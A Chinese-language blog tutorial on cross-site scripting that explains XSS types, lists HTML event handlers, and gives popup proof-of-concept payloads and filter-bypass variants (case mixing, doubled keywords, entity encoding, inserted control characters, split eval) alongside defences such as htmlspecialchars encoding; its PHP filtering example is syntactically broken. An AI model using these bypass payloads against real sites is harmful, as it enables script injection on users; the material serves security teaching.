跨站脚本攻击(xss)

xss简介

        跨站脚本攻击(Cross-Site Scripting)是一种常见的网络安全漏洞,可能有人觉得奇怪,xss的简写不应该属css吗。因为层叠样式脚本叫做CSS(Cascading Style Sheets) ,所以跨站脚本攻击就更名为XSS。

        XSS是指恶意攻击者利用网站对用户提交的数据过滤不足的缺点,注入恶意脚本代码,然后在用户的浏览器中执行这些代码。这种攻击通常发生在基于Web的应用程序中,如社交媒体站点、在线银行、电子邮件服务等等。

html页面共有3种语言

1.HTML 网页框架结构

2.CSS 颜色字体等

3.JavaScript 操纵浏览器、网页内容


简单弹窗:

<script>alert(/xss/)</script>        警示框

<script>confirm(/xss/)</script>        确认框(类似于布尔)
<script>confirm('xss')</script>
     
<script>prompt('xss')</script>        对话框,可以输入内容

漏洞的分类

xss分为:反射型xss,存储型xss,DOM型xss

反射型xss

非持久性,参数型的跨站脚本攻击,反射型的代码在web应用的参数中。攻击者将恶意脚本代码包含在URL中,然后诱使用户点击包含恶意代码的链接。当用户点击链接并访问特定的页面时,恶意脚本会在用户的浏览器上执行。例如搜索框(使用最多,但是容易被发现)

存储型xss

持久型跨站脚本攻击,攻击者将恶意脚本代码存储在目标网站的数据库中,然后其他用户在访问包含该恶意脚本的页面时,会触发脚本执行。这种类型的XSS攻击通常用于在网站上发布恶意评论、文章或消息等。(危害广)

DOM型xss

是一种xss攻击,这种类型的XSS攻击涉及到修改页面的DOM(文档对象模型),使得恶意脚本代码可以在客户端执行,但是参数不会提交到服务器攻击通常发生在浏览器解析URL参数或用户输入时,攻击者能够注入恶意代码并导致页面行为异常。(难以检测)

xss构造、变形、防御

xss构造

1.利用<>

<script>alert(/zhaokai/)</script>

2.JavaScript伪协议

a标签,img标签

<a href = javascript:alert(/zk/)> click me </a>
​
<img src ="javascript:alert(/xss/)">    (适用于ie6)

3.事件响应

<img src="图片地址" onmouseover = 'alert(/touch me!/)'>    鼠标放到图片上弹窗
​
<input type ='text' onkeydown = 'alert(/zk/)'>                  输入框按键盘下键弹窗
<input type ='text' onkeyup = 'alert(/zk/)'>                    输入框按键盘上键弹窗

1.windows事件(应用于body)

onafterprint script 文档打印之后运行的脚本。
onbeforeprint script 文档打印之前运行的脚本。
onbeforeunload script 文档卸载之前运行的脚本。
onerror script 在错误发生时运行的脚本。
onhaschange script 当文档已改变时运行的脚本。
onload script 页面结束加载之后触发。
onmessage script 在消息被触发时运行的脚本。
onoffline script 当文档离线时运行的脚本。
ononline script 当文档上线时运行的脚本。
onpagehide script 当窗口隐藏时运行的脚本。
onpageshow script 当窗口成为可见时运行的脚本。
onpopstate script 当窗口历史记录改变时运行的脚本。
onredo script 当文档执行撤销(redo)时运行的脚本。
onresize script 当浏览器窗口被调整大小时触发。
onstorage script 在 Web Storage 区域更新后运行的脚本。
onundo script 在文档执行 undo 时运行的脚本。
onunload script 一旦页面已下载时触发(或者浏览器窗口已被关闭)。

2.form事件(表单触发事件)

onblur script 元素失去焦点时运行的脚本。
onchange script 在元素值被改变时运行的脚本。
oncontextmenu script 当上下文菜单被触发时运行的脚本。
onfocus script 当元素获得焦点时运行的脚本。
onformchange script 在表单改变时运行的脚本。
onforminput script 当表单获得用户输入时运行的脚本。
oninput script 当元素获得用户输入时运行的脚本。
oninvalid script 当元素无效时运行的脚本。
onreset script 当表单中的重置按钮被点击时触发。HTML5 中不支持。
onselect script 在元素中文本被选中后触发。
onsubmit script 在提交表单时触发。

3.keyboard事件(键盘)

onkeydown script 在用户按下按键时触发。
onkeypress script 在用户敲击按钮时触发。
onkeyup script 当用户释放按键时触发。

4.mouse事件 (鼠标)

onclick script 元素上发生鼠标点击时触发。
ondblclick script 元素上发生鼠标双击时触发。
ondrag script 元素被拖动时运行的脚本。
ondragend script 在拖动操作末端运行的脚本。
ondragenter script 当元素元素已被拖动到有效拖放区域时运行的脚本。
ondragleave script 当元素离开有效拖放目标时运行的脚本。
ondragover script 当元素在有效拖放目标上正在被拖动时运行的脚本。
ondragstart script 在拖动操作开端运行的脚本。
ondrop script 当被拖元素正在被拖放时运行的脚本。
onmousedown script 当元素上按下鼠标按钮时触发。
onmousemove script 当鼠标指针移动到元素上时触发。
onmouseout script 当鼠标指针移出元素时触发。
onmouseover script 当鼠标指针移动到元素上时触发。
onmouseup script 当在元素上释放鼠标按钮时触发。
onmousewheel script 当鼠标滚轮正在被滚动时运行的脚本。
onscroll script 当元素滚动条被滚动时运行的脚本。

5.media事件(多媒体)

onabort

script 在退出时运行的脚本。
oncanplay script 当文件就绪可以开始播放时运行的脚本(缓冲已足够开始时)。
oncanplaythrough script 当媒介能够无需因缓冲而停止即可播放至结尾时运行的脚本。
ondurationchange script 当媒介长度改变时运行的脚本。
onemptied script 当发生故障并且文件突然不可用时运行的脚本(比如连接意外断开时)。
onended script 当媒介已到达结尾时运行的脚本(可发送类似“感谢观看”之类的消息)。
onerror script 当在文件加载期间发生错误时运行的脚本。
onloadeddata script 当媒介数据已加载时运行的脚本。
onloadedmetadata script 当元数据(比如分辨率和时长)被加载时运行的脚本。
onloadstart script 在文件开始加载且未实际加载任何数据前运行的脚本。
onpause script 当媒介被用户或程序暂停时运行的脚本。
onplay script 当媒介已就绪可以开始播放时运行的脚本。
onplaying script 当媒介已开始播放时运行的脚本。
onprogress script 当浏览器正在获取媒介数据时运行的脚本。
onratechange script 每当回放速率改变时运行的脚本(比如当用户切换到慢动作或快进模式)。
onreadystatechange script 每当就绪状态改变时运行的脚本(就绪状态监测媒介数据的状态)。
onseeked script 当 seeking 属性设置为 false(指示定位已结束)时运行的脚本。
onseeking script 当 seeking 属性设置为 true(指示定位是活动的)时运行的脚本。
onstalled script 在浏览器不论何种原因未能取回媒介数据时运行的脚本。
onsuspend script 在媒介数据完全加载之前不论何种原因终止取回媒介数据时运行的脚本。
ontimeupdate script 当播放位置改变时(比如当用户快进到媒介中一个不同的位置时)运行的脚本。
onvolumechange script 每当音量改变时(包括将音量设置为静音)时运行的脚本。
onwaiting script 当媒介已停止播放但打算继续播放时(比如当媒介暂停已缓冲更多数据)运行

xss变形

1.大小写转换

浏览器对HTML标签大小写不敏感

<sCriPt>alert(/zk/)</sCriPt>

2.关键字双写

绕过一次过滤

<scrscriptipt>alert(/zk/)</scrscriptipt>

3.伪协议转码

    HTML编码:就是将字母字符转换为ascii码,十进制编码:$#+十进制ascii码,十六进制编码:$#+十六进制ascii码
<a href = javascript:alert(/zk/)> click me </a>

&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74        可以将javascript转码绕过关键字过滤

4.插入其他字符

        将一下字符插入到任意位置

字符 编码
Tab &#9
换行 &#10
回车 &#13
<a href ='j&#9;avasc&#10;r&#13;ipt:alert(/xss/)'>click me</a>

5.引号的使用

HTML语言大部分对于引号的使用要求不严格

<Img sRc=  #  OnErRoR= alert(/xss/);>
<Img sRc= '#' OnErRoR='alert(/xss/)'>
<Img sRc= "#" OnErRoR="alert(/xss/)">

6. / 代替空格

<Img/sRc='#'/OnErRoR-'alert(/xss/)'>

7.拆分跨站

将一段js代码拆分为多段

<script>z='alert'</script>
<script>z+='(/xss/)'</script>
<script>eval(z)</script>
<script>eval(alert(/xss/))</script>

xss防御

1.输入过滤

输入验证:对用户提交的信息进行“有效性”验证

        仅接受指定长度

        仅包含合法字符

        仅接收指定范围

        特殊格式:email,ip地址

    数据消毒:过滤危险输入

<?php
    
$keywords = $_GET['keywords'];
$keywords = strtolower($keywords);

$keywords = str_replace ("on", "Skeywords);
$keywords = str_replace ("<script>", ", $keywords);
$keywords = str_replace ("<","",$keywords);
$keywords = str replace(">","",$keywords);
echo $keywords;

?>

2.输出编码

HEML编码是HTML实体编码

$keywords = htmlspecialchars( $_GET['keywords'] );

3.黑白名单策略

不管是输入还是输出编码,都是针对用户提交的信息进行黑白名单式的过滤

        黑名单:非允许的内容

        白名单:允许的内容

4.防御DOM型xss

避免客户端文档重写,重定向或者其他敏感操作

超级测试代码

        可以用来测试过滤情况

<sCr<ScRiPt>IPT>OonN'"\/(hrHRefEF)</sCr</ScRiPt>IPT>

相关推荐

  1. 脚本攻击xss

    2023-12-12 23:20:01       40 阅读
  2. xss脚本攻击

    2023-12-12 23:20:01       33 阅读
  3. 脚本攻击XSS

    2023-12-12 23:20:01       11 阅读
  4. XSS脚本攻击

    2023-12-12 23:20:01       6 阅读
  5. XSS脚本攻击)漏洞介绍

    2023-12-12 23:20:01       37 阅读
  6. 脚本攻击XSS)测试

    2023-12-12 23:20:01       15 阅读

最近更新

  1. TCP协议是安全的吗?

    2023-12-12 23:20:01       16 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2023-12-12 23:20:01       16 阅读
  3. 【Python教程】压缩PDF文件大小

    2023-12-12 23:20:01       15 阅读
  4. 通过文章id递归查询所有评论(xml)

    2023-12-12 23:20:01       18 阅读

热门阅读

  1. Python迭代器与生成器研究记录

    2023-12-12 23:20:01       33 阅读
  2. Optional

    2023-12-12 23:20:01       38 阅读
  3. IT运维产业在大数据驱动变革下的应用建议

    2023-12-12 23:20:01       41 阅读
  4. HR如何筛选简历?

    2023-12-12 23:20:01       37 阅读
  5. SQL命令---修改字段名

    2023-12-12 23:20:01       36 阅读
  6. 数据冗余(data redundant)现象介绍

    2023-12-12 23:20:01       33 阅读